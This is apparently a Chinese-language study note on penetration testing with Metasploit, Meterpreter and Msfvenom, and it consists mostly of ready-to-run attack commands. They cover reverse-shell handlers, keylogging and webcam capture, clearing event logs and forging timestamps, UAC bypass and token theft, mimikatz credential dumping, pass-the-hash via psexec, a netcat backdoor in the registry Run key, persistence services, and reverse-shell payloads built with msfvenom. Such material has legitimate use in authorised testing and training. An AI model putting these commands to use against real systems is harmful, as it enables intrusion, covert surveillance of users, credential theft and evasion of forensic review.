Metasploit Framework
這篇文章是我自己的學習筆記,發現大家對msf的熱情非常高,希望各位師傅更好的使用Metasploit Framework進行滲透測試,重點是關於Meterpreter和Msfvenom的利用,如有問題請指正,使用時注意修改參數。
文章目錄
基礎命令
啓動msf msfconsole
- help或?:
顯示msfconsole可以使用的命令。help <command>
,顯示某一命令的用法。
- connect:
可以理解成MSF中的nc命令,可以使用connect -h查看詳細用法。connect [options] <host> <port>
- show:
用show命令查看msf提供的資源。在根目錄下執行的話,由於有些模塊資源比較多,需要執行show命令要較長的時間。 show exploits
:查看可以使用的exploit
除了exploits,還支持all, encoders, nops, exploits, payloads, auxiliary, post, plugins, info, options。有些選項需要用use使用一個模塊後才能使用,比如 show targets
。
- search:
搜索模塊
簡單搜索:seach ms17_010
多條件搜索縮小範圍e.g.:search name:mysql type:exploit platform:linux
- info:
查看模塊的信息 info <module name>
如果用use使用了一個module,直接輸入info即可查看
- use:
search找到模塊後,用use使用模塊 use exploit/windows/smb/ms08_067_netapi
用use使用一個模塊後,可以使用 show options查看我們需要配置的選項、使用show targets選擇目標主機系統、使用show payloads選擇payload、使用show advanced查看高級參數、使用show evasion查看用來做混淆、逃避的模塊。
- set/setg:(這裏的g代表global)
設置參數,比如要滲透的主機IP、payload等。我們可以用show missing查看沒有設置的參數
setg是設置全局變量,避免每個模塊都要輸入相同的參數
- unset/unsetg:
取消設置參數。unsetg是取消設置的全局變量
- save:
設置的參數在下一次啓動的時候不會生效,可以用save保存我們使用過程的設置。
- check:
檢查目標是否真的存在這個漏洞,大部分模塊沒有check功能
- back:
回到msfconsole根目錄
- run或exploit:
開始使用模塊
exploit -j:以後臺的方式運行
- sessions:
查看當前已經建立的sessions,前提已經拿到了shell
sessions -i <session id>
可以進入一個session交互 殺掉session session -k <session id>,<session id>
- load/unload:
調用外部的掃描命令,比如 load openvas
- clear
清屏
Msf5的七大Module
auxiliary 輔助模塊
負責執行信息收集、掃描、嗅探、指紋識別、口令猜測和Dos攻擊等功能的輔助模塊
encoders 編碼模塊
evasion 規避(AV)模塊
exploits 漏洞利用模塊
利用系統漏洞進行攻擊的動作,此模塊對應每一個具體漏洞的攻擊方法(主動、被動)
nops 空指令模塊
提高payload穩定性及維持大小。在滲透攻擊構造惡意數據緩衝區時,常常要在真正要執行的Shellcode之前添加一段空指令區, 這樣當觸發滲透攻擊後跳轉執行ShellCode時,有一個較大的安全着陸區,從而避免受到內存 地址隨機化、返回地址計算偏差等原因造成的ShellCode執行失敗,提高滲透攻擊的可靠性。
payloads
post 後滲透模塊
在取得目標系統遠程控制權後,進行一系列的後滲透攻擊動作,如獲取敏感信息、跳板攻擊等操作
用法
查看對應module所有可用的module show <module>
e.g. show nops
NOP Generators
==============
(名) (披露日期) (等級)(能否檢查)(描述)
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 aarch64/simple normal No Simple
1 armle/simple normal No Simple
2 mipsbe/better normal No Better
3 php/generic normal No PHP Nop Generator
4 ppc/simple normal No Simple
5 sparc/random normal No SPARC NOP Generator
6 tty/generic normal No TTY Nop Generator
7 x64/simple normal No Simple
8 x86/opty2 normal No Opty2
9 x86/single_byte normal No Single Byte
方法論
- 掃描目標機,尋找可用exploit
- 選擇可用的payload
- 選擇一個編碼,躲避AV
- 獲取shell
收集目標信息
使用auxiliary模塊進行端口掃描
查看可用的端口掃描 search portscan
調用端口掃描 use <id>
查看module詳細信息 info
查看所需設置參數和已經設置的參數 show options
設置參數 set option <settings>
啓動 run
退出該module back
使用auxiliary模塊進行服務掃描
查看可用的scanner search path:scanner
調用nmap進行掃描
用法同直接使用nmap
Meterpreter
不同的meterpreter用法可能有出(yan)入(ge)
root@silver:/tmp# msfconsole
msf > use exploit/multi/handler
msf exploit(multi/handler) > set payload php/meterpreter/reverse_tcp
payload => php/meterpreter/reverse_tcp
msf exploit(multi/handler) > show options
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Exploit target:
Id Name
-- ----
0 Wildcard Target
msf exploit(multi/handler) > set lhost 0.0.0.0
lhost => 0.0.0.0
msf exploit(multi/handler) > exploit
[*] Started reverse TCP handler on 0.0.0.0:4444
[*] Sending stage (53859 bytes) to 119.3.72.174
[*] Meterpreter session 1 opened (192.168.0.166:4444 -> 119.3.72.174:47157) at 2018-08-23 11:03:41 +0800
基本命令
隱藏session background
查看所有session sessions
主機閒置時間 idletime
查看權限 getuid
查看架構 sysinfo
進程遷移
查看目標機活躍進程 ps
查看Meterpreter的pid getpid
遷移到指定進程 migrate <pid>
自動遷移 run /post/windows/manage/migrate
清除日誌
清除部分windows中的應用程序日誌、系統日誌、安全日誌 clearav
執行文件
啓動一個cmd(-H不可見,-i交互) execute -H -i -f cmd.exe
外設命令
有侷限性(閹割)
關閉鼠標/鍵盤
開啓或禁止鍵盤/鼠標 uictl [enable/disable] [keyboard/mouse/all]
禁用鼠標 uictl disable mouse
禁用鍵盤 uictl disable keyboard
攝像頭攝像
列出攝像頭 webcam_list
拍照 webcam_snap
攝像 webcam_stream
鍵盤記錄
開始鍵盤記錄 keyscan_start
導出記錄數據 keyscan_dump
結束鍵盤記錄 keyscan_stop
post模塊 run post/windows/capture/keylog_recorder
系統命令
文件系統命令
基本文件操作
查看當前目錄(進程目錄)pwd
搜索文件 search -f *pass*
查看文件內容 cat <目標路徑>//<filename>
上傳文件到目標機上 upload <本機path><本機filename> <目標路徑>//<filename>
下載文件到本機上 download <path>//<filename> <本機路徑>/
編輯或創建文件 沒有的話,會新建文件 edit <path>//<filename>
刪除文件 rm <路徑>\\<filename>
只能在當前目錄下創建文件夾 mkdir lltest2
只能刪除當前目錄下文件夾 rmdir lltest2
操作攻擊者主機 查看當前目錄 getlwd
或者 lpwd
操作攻擊者主機 切換目錄 lcd /tmp
僞造時間戳
timestomp C:// -h
#查看幫助
timestomp -v C://2.txt
#查看時間戳
timestomp C://2.txt -f C://1.txt
#將1.txt的時間戳複製給2.txt
網絡相關命令
基本網絡命令
ipconfig/ifconfig
netstat –ano
arp -a
查看代理信息 getproxy
查看路由 route
端口轉發
列出轉發的端口列表 portfwd list
將目標機的3389端口轉發到本地6666端口 portfwd add -l 6666 -p 3389 -r 127.0.0.1
刪除轉發的端口 portfwd delete –l 3389 –p 3389 –r [target host]
添加路由
自動添加 run post/multi/manage/autoroute
查看目標主機內網網段 run get_local_subnets
添加到目標環境網絡 run autoroute -s <網段>
查看添加的路由 run autoroute –p
掃描內網
幾個post
run post/windows/gather/arp_scanner RHOSTS=<網段>
run auxiliary/scanner/portscan/tcp RHOSTS=<ip> PORTS=<port>
Socks5代理
background
選擇代理 use``auxiliary/server/socks5
設置一下 set <options>
修改proxychains vi /etc/proxychains.conf
代理中運行火狐 proxychains firefox
sniff抓包
use sniffer
sniffer_interfaces
#查看網卡
sniffer_start 2
#選擇網卡 開始抓包
sniffer_stats 2
#查看狀態
sniffer_dump 2 /tmp/lltest.pcap
#導出pcap數據包
sniffer_stop 2
#停止抓包
信息收集
這類腳本位置
/usr/share/metasploit-framework/modules/post/windows/gather
/usr/share/metasploit-framework/modules/post/linux/gather
run post/windows/gather/checkvm #是否虛擬機
run post/linux/gather/checkvm #是否虛擬機
run post/windows/gather/forensics/enum_drives #查看分區
run post/windows/gather/enum_applications #獲取安裝軟件信息
run post/windows/gather/dumplinks #獲取最近的文件操作
run post/windows/gather/enum_ie #獲取IE緩存
run post/windows/gather/enum_chrome #獲取Chrome緩存
run post/windows/gather/enum_patches #補丁信息
run post/windows/gather/enum_domain #查找域控
run post/windows/gather/enum_services #服務信息
run post/windows/gather/dumplinks #最近操作
run post/multi/recon/local_exploit_suggester #目標主機存在哪些本地提權漏洞
提權
getsystem提權
getsystem
getsystem工作原理:
①getsystem創建一個新的Windows服務,設置爲SYSTEM運行,當它啓動時連接到一個命名管道。
②getsystem產生一個進程,它創建一個命名管道並等待來自該服務的連接。
③Windows服務已啓動,導致與命名管道建立連接。
④該進程接收連接並調用ImpersonateNamedPipeClient,從而爲SYSTEM用戶創建模擬令牌。
然後用新收集的SYSTEM模擬令牌產生cmd.exe,並且我們有一個SYSTEM特權進程。
BypassUAC提權
幾個exp
use exploit/windows/local/bypassuac
use exploit/windows/local/bypassuac_injection
use windows/local/bypassuac_vbs
use windows/local/ask
payload執行後需要 getsystem
e.g.msf > use exploit/windows/local/bypassuac
msf > set SESSION 2
msf > run
內核服務漏洞提權
run post/windows/gather/enum_patches #查看補丁信息
run post/multi/recon/local_exploit_suggester #目標主機存在哪些本地提權漏洞
VNC、截屏、RDP
VNC和截屏
enumdesktops #查看可用的桌面
getdesktop #獲取當前meterpreter 關聯的桌面
set_desktop #設置meterpreter關聯的桌面 -h查看幫助
screenshot #截屏
use espia #或者使用espia模塊截屏 然後輸入screengrab
run vnc #使用vnc遠程桌面連接
RDP
enable_rdp腳本
run post/windows/manage/enable_rdp
#開啓遠程桌面
run post/windows/manage/enable_rdp USERNAME=<user> PASSWORD=<password>
#添加用戶
run post/windows/manage/enable_rdp FORWARD=true LPORT=6662
#將3389端口轉發到6662
getgui方法
不推薦
run getgui –h
#查看幫助
run getgui -e
#開啓遠程桌面
run getgui -u <user> -p <password>
#添加用戶
run getgui -f 6661 –e
#3389端口轉發到6661
註冊表操作
upload /usr/share/windows-binaries/nc.exe C:\\windows\\system32 #上傳
ncreg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run #枚舉run下的keyreg
setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v lltest_nc -d 'C:\windows\system32\nc.exe -Ldp 443 -e cmd.exe' #設置鍵值
reg queryval -k HKLM\\software\\microsoft\\windows\\currentversion\\Run -v lltest_nc #查看鍵值
nc -v <目標ip> #攻擊者連接nc後門
令牌操作
incognito假冒令牌
use incognito #help incognito 查看幫助
list_tokens -u #查看可用的token
impersonate_token 'NT AUTHORITY\SYSTEM' #假冒SYSTEM token
或者impersonate_token NT\ AUTHORITY\\SYSTEM #不加單引號 需使用\\
execute -f cmd.exe -i –t # -t 使用假冒的token 執行``或者直接shell
rev2self #返回原始token
steal_token竊取令牌
ps
steal_token <pid值>
#從指定進程中竊取token
drop_token
#刪除竊取的token
Hash攻擊
mimikatz命令
System權限
msv
抓取系統哈希
kerberos
抓取系統票據
load mimikatz
#help mimikatz 查看幫助
wdigest
#獲取Wdigest密碼
mimikatz_command -f samdump::hashes
#執行mimikatz原始命令
mimikatz_command -f sekurlsa::searchPasswords
mimikatz_command -f crypto::
哈希傳遞
run post/windows/gather/smart_hashdump
#從SAM導出密碼哈希
通過psexec進行,條件:①開啓445端口 smb服務;②開啓admin$共享
msf > use exploit/windows/smb/psexec
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST 192.168.159.134
msf > set LPORT 443
msf > set RHOST 192.168.159.144
msf >set SMBUser Administrator
msf >set SMBPass aad3b4*****04ee:5b5f00*****c424c
msf >set SMBDomain WORKGROUP #域用戶需要設置SMBDomain
msf >exploit
權限維持
Persistence後門
run persistence –h
#查看幫助
run persistence -X -i 5 -p 6661 -r <攻擊機Ip>
#-X指定啓動的方式爲開機自啓動,-i反向連接的時間間隔(5s) –r 指定攻擊者的ip
連接
msf > use exploit/multi/handler
msf > set payload windows/meterpreter/reverse_tcp
msf > set LHOST <攻擊機ip>
msf > set LPORT <分配的port>
msf > exploit
Metsvc後門
run metsvc –h
# 查看幫助
run metsvc –A
#自動安裝後門
連接
msf > use exploit/multi/handler
msf > set payload windows/metsvc_bind_tcp
msf > set RHOST <目標機ip>
msf > set LPORT <分配的ip>
msf > exploit
Msfvenom
各平臺基本payload生成方法
- Linux
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=< Your IP Address> LPORT=< Your Port to Connect On> -f elf > shell.elf
- Windows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f exe > shell.exe
- Mac
msfvenom -p osx/x86/shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f macho > shell.machoWeb Payloads
- PHP
msfvenom -p php/meterpreter_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.php
cat shell.php | pbcopy && echo '<?php ' | tr -d '\n' > shell.php && pbpaste >> shell.php
ASP
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f asp > shell.asp
- JSP
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.jsp
- WAR
msfvenom -p java/jsp_shell_reverse_tcp LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f war > shell.war
Scripting Payloads
- Python
msfvenom -p cmd/unix/reverse_python LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.py
- Bash
msfvenom -p cmd/unix/reverse_bash LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.sh
- Perl
msfvenom -p cmd/unix/reverse_perl LHOST=<Your IP Address> LPORT=<Your Port to Connect On> -f raw > shell.pl